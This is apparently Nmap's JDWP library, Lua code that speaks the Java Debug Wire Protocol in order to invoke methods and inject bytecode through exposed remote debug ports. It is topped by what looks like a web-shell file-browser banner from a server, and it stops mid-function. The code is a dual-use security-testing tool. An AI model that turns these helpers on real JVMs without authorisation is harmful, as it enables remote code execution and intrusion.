Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /proc/self/root/usr/share/nmap/nselib/ |
--- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to
-- use remote debugging port and inject java bytecode.
--
-- There are two basic packet types in JDWP protool.
-- Command packet and reply packet. Command packets are sent by
-- a debugger to a remote port which replies with a reply packet.
--
-- Simple handshake is needed to start the communication.
-- The debugger sends a "JDWP-Handshake" string and gets the same as a reply.
-- Each (command and reply packet) has an id field since communication can be asynchronous.
-- Packet id can be monothonicaly increasing.
-- Although communication can be asynchronous, it is not (at least in my tests) so the same
-- packet id can be used for all communication.
--
-- To start the connection, script should call <code>jdwp.connect()</code> which returns success
-- status and a socket. All other protocol functions require a socket as their first parameter.
--
-- Example of initiating connection:
-- <code>
-- local status,socket = jdwp.connect(host,port)
-- if not status then
-- stdnse.print_debug("error, %s",socket)
-- end
-- local version_info
-- status, version_info = jdwp.getVersion(socket,0)
-- </code>
--
-- References:
-- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
--
--@copyright Same as Nmap--See http://nmap.org/book/man-legal.html
--@author Aleksandar Nikolic
--
-- Version 0.1
-- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic
local stdnse = require "stdnse"
local string = require "string"
local bin = require "bin"
local table = require "table"
local nmap = require "nmap"
_ENV = stdnse.module("jdwp", stdnse.seeall)
-- JDWP protocol specific constants
JDWP_CONSTANTS = {
handshake = "JDWP-Handshake" -- Connection initialization handshake
}
-- List of error codes from:
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error
ERROR_CODES = {
[0] = "NONE No error has occurred.",
[10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.",
[11] = "INVALID_THREAD_GROUP Thread group invalid.",
[12] = "INVALID_PRIORITY Invalid priority.",
[13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.",
[14] = "THREAD_SUSPENDED Thread already suspended.",
[20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.",
[21] = "INVALID_CLASS Invalid class.",
[22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.",
[23] = "INVALID_METHODID Invalid method.",
[24] = "INVALID_LOCATION Invalid location.",
[25] = "INVALID_FIELDID Invalid field.",
[30] = "INVALID_FRAMEID Invalid jframeID.",
[31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.",
[32] = "OPAQUE_FRAME Information about the frame is not available.",
[33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.",
[34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.",
[35] = "INVALID_SLOT Invalid slot.",
[40] = "DUPLICATE Item already set.",
[41] = "NOT_FOUND Desired element not found.",
[50] = "INVALID_MONITOR Invalid monitor.",
[51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.",
[52] = "INTERRUPT The call has been interrupted before completion.",
[60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.",
[61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.",
[62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.",
[63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.",
[64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.",
[65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.",
[66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.",
[67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.",
[68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.",
[69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.",
[70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.",
[71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.",
[99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.",
[100] = "NULL_POINTER Invalid pointer.",
[101] = "ABSENT_INFORMATION Desired information is not available.",
[102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.",
[103] = "ILLEGAL_ARGUMENT Illegal argument.",
[110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.",
[111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.",
[112] = "VM_DEAD The virtual machine is not running.",
[113] = "INTERNAL An unexpected internal error has occurred.",
[115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.",
[500] = "INVALID_TAG object type id or class tag.",
[502] = "ALREADY_INVOKING Previous invoke not complete.",
[503] = "INVALID_INDEX Index is invalid.",
[504] = "INVALID_LENGTH The length is invalid.",
[506] = "INVALID_STRING The string is invalid.",
[507] = "INVALID_CLASS_LOADER The class loader is invalid.",
[508] = "INVALID_ARRAY The array is invalid.",
[509] = "TRANSPORT_LOAD Unable to load the transport.",
[510] = "TRANSPORT_INIT Unable to initialize the transport.",
[511] = "NATIVE_METHOD",
[512] = "INVALID_COUNT The count is invalid."
}
-- JDWP protocol Command packet as described at
-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
-- Each command packet has a Command Set number, Command Number and data required
-- for that command.
JDWPCommandPacket = {
new = function(self,id,command_set,command, data)
local o = {
id = id,
flags = 0, -- current specification has no flags defined for Command Packets
command_set = command_set,
command = command,
data = data
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Packs command packet as a string od bytes, ready to be sent
-- to the target debugee.
pack = function(self)
local packed_packet
if self.data == nil then
packed_packet = bin.pack(">I",11) -- lenght - minimal header is 11 bytes
else
packed_packet = bin.pack(">I",11 + #self.data) -- lenght with data
end
packed_packet = packed_packet .. bin.pack(">I",self.id)
packed_packet = packed_packet .. bin.pack(">C",0) -- flag
packed_packet = packed_packet .. bin.pack(">C",self.command_set)
packed_packet = packed_packet .. bin.pack(">C",self.command)
if self.data then
packed_packet = packed_packet .. self.data
end
return packed_packet
end
}
-- JDWP protocol Reply packet as described at
-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
-- Reply packets are recognized by 0x80 in flag field.
JDWPReplyPacket = {
new = function(self,length,id,error_code,data)
local o = {
length = length,
id = id,
flags = 0x80, -- no other flag is currently specified in the specification
error_code = error_code, -- see ERROR_CODES table
data = data -- reply data, contents depend on the command
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Parses the reply into JDWPReplyPacket table.
parse_reply = function(self,reply_packet)
local pos,length,id,flags,error_code,data
pos, length = bin.unpack(">I",reply_packet)
pos, id = bin.unpack(">I",reply_packet,pos)
pos, flags = bin.unpack(">C",reply_packet,pos)
pos, error_code = bin.unpack(">S",reply_packet,pos)
data = string.sub(reply_packet,pos)
if flags == 0x80 then
return true, JDWPReplyPacket:new(length,id,error_code,data)
end
stdnse.print_debug(2,"JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet))
return false, "JDWP error parsing reply."
end
}
--- Negotiates the initial debugger-debugee handshake.
--
--@param host Host to connect to.
--@param port Port to connect to.
--@return (status,socket) If status is false, socket is error message, otherwise socket is
-- a newly created socket with initial handshake finished.
function connect(host,port)
local status, result,err
local socket = nmap.new_socket("tcp")
socket:set_timeout(10000)
local status, err = socket:connect(host, port)
if not status then
stdnse.print_debug(2,"JDWP could not connect: %s",err)
return status, err
end
status, err = socket:send(JDWP_CONSTANTS.handshake)
if not status then
stdnse.print_debug(2,"JDWP could not send handshake: %s",err)
return status, err
end
status, result = socket:receive()
if not status then
stdnse.print_debug(2,"JDWP could not receive handshake: %s",result)
return status, result
end
if result == JDWP_CONSTANTS.handshake then
stdnse.print_debug("JDWP handshake successful.")
return true, socket
end
return false, "JDWP handshake unsuccessful."
end
--- Helper function to pack regular string into UTF-8 string.
--
--@param data String to pack into UTF-8.
--@return utf8_string UTF-8 packed string. Four bytes lenght followed by the string its self.
function toUTF8(data)
local utf8_string = bin.pack(">i",#data) .. data
return utf8_string
end
--- Helper function to read all Reply packed data which might be fragmented
-- over multipe packets.
--
--@param socket Socket to receive from.
--@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes.
function receive_all(socket)
local status, result = socket:receive()
if not status then
return false,result
end
local data = result
local _, expected_length = bin.unpack(">I",result) -- first 4 bytes of packet data is the ReplyPacket length
while expected_length > #data do -- read until we get all the ReplyPacket data
status,result = socket:receive()
if not status then
return true, data -- if somethign is wrong,return partial data
end
data = data .. result
end
return true,data
end
--- Helper function to extract ascii string from UTF-8
--
-- Writen in this way so it can be used interchangeably with bin.unpack().
--
--@param data Data from which to extract the string.
--@param pos Offset into data string where to begin.
--@return (pos,ascii_string) Returns position where the string extraction ended and actuall ascii string.
local function extract_string(data,pos)
local string_size
if pos > #data then
stdnse.print_debug(2,"JDWP extract_string() position higher than data length, probably incomplete data received.")
return pos, nil
end
pos, string_size = bin.unpack(">I",data,pos)
local ascii_string = string.sub(data,pos,pos+string_size)
local new_pos = pos+string_size
return new_pos,ascii_string
end
--- Helper function that sends the Command packet and parses the reply.
--
--@param socket Socket to use to send the command.
--@param command <code>JDWPCommandPacket</code> to send.
--@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply.
function executeCommand(socket,command)
socket:send(command:pack())
local status, result = receive_all(socket)
if not status then
return false, "JDWP executeCommand() didn't get a reply."
end
local reply_packet
status, reply_packet = JDWPReplyPacket:parse_reply(result)
if not status then
return false, reply_packet
end
if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occured
return false, ERROR_CODES[reply_packet.error_code]
end
local data = reply_packet.data
return true, data
end
--- VirtualMachine Command Set (1)
-- Commands targeted at the debugggee virtual machine.
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine
--- Version Command (1)
-- Returns the JDWP version implemented by the target VM as a table.
--
-- Returns a table with following values:
-- * 'description' Debugge vm verbose description.
-- * 'jdwpMajor' Number representing major JDWP version.
-- * 'jdwpMinor' Number representing minor JDWP version.
-- * 'vmVersion' String representing version of the debuggee VM.
-- * 'vmName' Name of the debuggee VM.
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info.
function getVersion(socket,id)
local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP getVersion() error : %s",data)
return false,data
end
-- parse data
local version_info = {description = "",
jdwpMajor = 0,
jdwpMinor = 0,
vmVersion = "",
vmName = ""}
local vmVersionSize
local pos
pos, version_info.description = extract_string(data,0)
pos, version_info.jdwpMajor = bin.unpack(">i",data,pos)
pos, version_info.jdwpMinor = bin.unpack(">i",data,pos)
pos, version_info.vmVersion = extract_string(data,pos)
pos, version_info.vmName = extract_string(data,pos)
return true, version_info
end
--- Classes by Signature command (2)
-- Returns reference types for all the classes loaded by the target VM which match the given signature.
--
-- Given the class signature (like "Ljava/lang/Class") returns it's reference ID which can be used to reference that class
-- in other commands. Returns a list of tables containing following values:
-- * 'refTypeTag' JNI type tag
-- * 'referenceTypeID' Reference type of the class
-- * 'status' Current class status.
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param signature Signature of the class.
--@return (status,classes) If status is false, classes is an error string, else it contains list of found classes.
function getClassBySignature(socket,id,signature)
local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature))
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP getClassBySignature() error : %s",data)
return false,data
end
-- parse data
local classes = {}
local pos,number_of_classes = bin.unpack(">i",data)
for i = 1, number_of_classes do
local class_info = {
refTypeTag = nil,
referenceTypeID = nil,
status = nil
}
pos, class_info.refTypeTag = bin.unpack("c",data,pos)
pos, class_info.referenceTypeID = bin.unpack(">L",data,pos)
pos, class_info.status = bin.unpack(">i",data,pos)
table.insert(classes,class_info)
end
return true, classes
end
--- AllThreads Command (4)
-- Returns all threads currently running in the target VM .
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@return (status, threads) If status is false threads contains an error string, else it conatins a list of all threads in the debuggee VM.
function getAllThreads(socket,id)
local command = JDWPCommandPacket:new(id,1,4,nil)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP getAllThreads() error: %s", data)
return false,data
end
-- parse data
local pos,number_of_threads = bin.unpack(">i",data)
local threads = {}
for i = 1, number_of_threads do
local thread
pos, thread = bin.unpack(">L",data,pos)
table.insert(threads,thread)
end
return true, threads
end
--- Resume Command (9)
-- Resumes execution of the application after the suspend command or an event has stopped it.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply.
function resumeVM(socket,id)
local command = JDWPCommandPacket:new(id,1,9,nil)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP resumeVM() error: %s", data)
return false,data
end
-- wait for event notification
status, data = receive_all(socket)
if not status then
stdnse.print_debug(2,"JDWP resumeVM() event notification failed: %s", data)
end
return true, nil
end
--- CreateString Command (11)
-- Creates new string object in the debuggee VM.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param ascii_string String to create.
--@return (status, stringID) If status is false error string is returned, else stringID is newly created string.
function createString(socket,id,ascii_string)
local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string))
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP createString() error: %s", data)
return false,data
end
local _,stringID = bin.unpack(">L",data)
return true, stringID
end
--- AllClassesWithGeneric Command (20)
-- Returns reference types and signatures for all classes currently loaded by the target VM.
--
-- Returns a list of tables containing following info:
-- * 'refTypeTag' Kind of following reference type.
-- * 'typeID' Loaded reference type
-- * 'signature' The JNI signature of the loaded reference type.
-- * 'genericSignature' The generic signature of the loaded reference type or an empty string if there is none.
-- * 'status' The current class status.
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information.
function getAllClassesWithGeneric(socket,id)
local command = JDWPCommandPacket:new(id,1,20,nil)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP getAllClassesWithGeneric() error: %s", data)
return false,data
end
-- parse data
local all_classes = {}
local pos,number_of_classes = bin.unpack(">i",data)
for i = 0 , number_of_classes do
local class = {
refTypeTag = nil,
typeID = nil,
signature = nil,
genericSignature = nil,
status = nil
}
if pos > #data then break end
pos, class.refTypeTag = bin.unpack("C",data,pos)
pos, class.typeID = bin.unpack(">L",data,pos)
pos, class.signature = extract_string(data,pos)
pos, class.genericSignature = extract_string(data,pos)
pos, class.status = bin.unpack(">i",data,pos)
table.insert(all_classes,class)
end
return true, all_classes
end
--- ReferenceType Command Set (2)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType
--- SignatureWithGeneric Command (13)
-- Returns the JNI signature of a reference type.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param classID Reference type id of the class to get the signature from.
--@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class").
function getSignatureWithGeneric(socket,id,classID)
local command = JDWPCommandPacket:new(id,2,13,bin.pack(">L",classID)) -- Version Command (1)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP getVersion() error : %s",data)
return false,data
end
local _,signature = extract_string(data,0)
-- parse data
return true,signature
end
--- MethodsWithGeneric Command (15)
-- Returns information, including the generic signature if any, for each method in a reference type.
--
-- Returns a list of tables containing following fields for each method:
-- * 'methodID' Method ID which can be used to call the method.
-- * 'name' The name of the method.
-- * 'signature' The JNI signature of the method.
-- * 'generic_signature' The generic signature of the method, or an empty string if there is none.
-- * 'modBits' The modifier bit flags (also known as access flags) which provide additional information on the method declaration.
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param classID Reference type id of the class to get the list of methods.
--@return (status, signature) If status is false methods contains an error string, else it a list of methods information.
function getMethodsWithGeneric(socket,id,classID)
local command = JDWPCommandPacket:new(id,2,15,bin.pack(">L",classID))
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP getMethodsWithGeneric() error : %s",data)
return false,data
end
-- parse data
local methods = {}
local pos,number_of_methods = bin.unpack(">i",data)
for i = 1, number_of_methods do
local method_info = {
methodID = nil,
name = nil,
signature = nil,
generic_signature = nil,
modBits = nil
}
pos, method_info.methodID = bin.unpack(">i",data,pos)
pos,method_info.name = extract_string(data,pos)
pos, method_info.signature = extract_string(data,pos)
pos,method_info.generic_signature = extract_string(data,pos)
pos, method_info.modBits = bin.unpack(">i",data,pos)
table.insert(methods,method_info)
end
return true, methods
end
--- ClassType Command Set (3)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType
--- InvokeMethod Command (3)
-- Invokes a class' static method and returns the reply data.
--
-- Reply data can vary so parsing is left to the function caller.
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param classID Reference type id of the class.
--@param methodID ID of the static method to call.
--@numberOfArguments Number of method arguments.
--@arguments Already packed arguments.
--@options Invocation options.
--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy.
function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options)
local params
if numberOfArguments == 0 then
params = bin.pack(">Liii",classID,methodID,numberOfArguments,options)
else
params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options)
end
local command = JDWPCommandPacket:new(id,3,3,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP invokeStaticMethod() error: %s", data)
return false,data
end
return true,data
end
--- NewInstance Command (4)
-- Creates a new object of this type, invoking the specified constructor.
-- The constructor method ID must be a member of the class type.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param classID Reference type id of the class.
--@param threadID The thread in which to invoke the constructor.
--@param methodID The constructor to invoke.
--@numberOfArguments Number of constructor arguments.
--@arguments Already packed arguments.
--@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object.
function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments)
local params
if numberOfArguments == 0 then
params = bin.pack(">LLiii",classID,threadID,methodID,numberOfArguments,0)
else
params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments
end
local command = JDWPCommandPacket:new(id,3,4,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP newClassInstance() error: %s", data)
return false,data
end
-- parse data
stdnse.print_debug("newClassInstance data: %s",stdnse.tohex(data))
local pos, tag = bin.unpack(">C",data)
local objectID
pos, objectID = bin.unpack(">L",data,pos)
return true,objectID
end
--- ArrayType Command Set (4)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType
--- NewInstance Command (1)
-- Creates a new array object of the specified type with a given length.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param arrayType The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502).
--@param length Length of the new array.
--@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array.
function newArrayInstance(socket,id,arrayType,length)
local params = bin.pack(">Li",arrayType,length)
local command = JDWPCommandPacket:new(id,4,1,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP newArrayInstance() error: %s", data)
return false,data
end
local pos,_ , tag, arrayID
pos, tag = bin.unpack("C",data)
_, arrayID = bin.unpack(">L",data,pos)
return true, arrayID
end
--- ObjectReference Command Set (9)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference
--- ReferenceType Command (1)
-- Returns the runtime type of the object. The runtime type will be a class or an array.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param objectID The ID of an object.
--@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object.
function getRuntimeType(socket,id,objectID)
local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID))
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP resumeVM() error: %s", data)
return false,data
end
local _,tag,runtime_type = bin.unpack(">CL",data)
stdnse.print_debug("runtime type: %d",runtime_type)
return true,runtime_type
end
--- InvokeMethod Command (6)
-- Invokes a instance method with specified parameters.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param objectID The ID of an object.
--@param threadID The thread in which to invoke.
--@param classID The class type.
--@param methodID ID of the method to invoke.
--@param numberOfArguments Number of method arguments.
--@arguments Already packed arguments.
--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy.
function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments)
local params
if numberOfArguments == 0 then
params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments)
else
params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments
end
local command = JDWPCommandPacket:new(id,9,6,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP invokeObjectMethod() error: %s", data)
return false,data
end
stdnse.print_debug("invoke obj method data: %s ",stdnse.tohex(data))
return true,data
end
--- StringReference Command Set (10)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference
--- Value Command (1)
-- Returns the characters contained in the string.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param stringID The ID of a string to read.
--@return (status, data) If status is false result contains an error string, else it contains read string.
function readString(socket,id,stringID)
local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID))
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP readString() error: %s", data)
return false,data
end
local _,result = extract_string(data,0)
return true,result
end
--- ThreadReference Command Set (11)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference
--- Name Command (1)
-- Returns the thread name.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param threadID The ID of a thread.
--@return (status, thread_name) If status is false thread_name contains an error string, else it contains thread's name.
function getThreadName(socket,id,threadID)
local params = bin.pack(">L",threadID)
local command = JDWPCommandPacket:new(id,11,1,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP getThreadName() error: %s", data)
return false,data
end
-- parse data
local _,thread_name = extract_string(data,0)
return true, thread_name
end
--- Suspend Command (2)
-- Suspends the thread.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param threadID The ID of a thread.
--@return (status, thread_name) If status is false an error string is returned, else it's nil.
function suspendThread(socket,id,threadID)
local params = bin.pack(">L",threadID)
local command = JDWPCommandPacket:new(id,11,2,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP suspendThread() error: %s", data)
return false,data
end
return true, nil
end
--- Status Command (4)
-- Returns the current status of a thread.
--
-- Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus).
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param threadID The ID of a thread.
--@return (status, thread_name) If status is false an error string is returned, else unparsed thread status data.
function threadStatus(socket,id,threadID)
local params = bin.pack(">L",threadID)
local command = JDWPCommandPacket:new(id,11,4,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP threadStatus() error: %s", data)
return false,data
end
stdnse.print_debug("threadStatus %s",stdnse.tohex(data))
return true, data
end
--- ArrayReference Command Set (13)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference
--- SetValues Command (3)
-- Sets a range of array components.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param objectID The ID of an array object.
--@return (status, data) If status is false an error string is returned, else it's nil.
function setArrayValues(socket,id,objectID,idx,values)
local params = bin.pack(">Lii",objectID,idx,#values) .. values
local command = JDWPCommandPacket:new(id,13,3,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP setArrayValues() error: %s", data)
return false,data
end
return true, nil
end
--- EventRequest Command Set (15)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest
--- Uses Set Command (1) to set singlesteping to specified thread.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param threadID The ID of the thread.
--@return (status, requestID) If status is false an error string is returned, else it contains assigned request id.
function setThreadSinglestep(socket,id,threadID)
local params = bin.pack(">CCiCLii",1,2,1,10,threadID,0,0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
local command = JDWPCommandPacket:new(id,15,1,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP setThreadSinglestep() error: %s", data)
return false,data
end
local _, requestID = bin.unpack(">i",data)
return true, requestID
end
--- Uses Clear Command (2) to unset singlesteping from a thread by specified event.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param eventID The ID of the thread.
--@return (status, requestID) If status is false an error string is returned, else it's nil.
function clearThreadSinglestep(socket,id,eventID)
local params = bin.pack(">Ci",1,eventID)
local command = JDWPCommandPacket:new(id,15,2,params)
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP clearThreadSinglestep() error: %s", data)
return false,data
end
return true,nil
end
--- ClassObjectReference Command Set (17)
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference
--- ReflectedType Command (1)
-- Returns the reference type reflected by this class object.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType
--
--@param socket Socket to use to send the command.
--@param id Packet id.
--@param classObjectID The ID of the object.
--@return (status, reflected_type) If status is false an error string is returned, else reflected_type is object's reference type.
function getReflectedType(socket,id,classObjectID)
local _, param
local command = JDWPCommandPacket:new(id,17,1,bin.pack(">L",classObjectID))
local status, data = executeCommand(socket,command)
if not status then
stdnse.print_debug(2,"JDWP getReflectedType() error: %s", data)
return false,data
end
local reflected_type = {
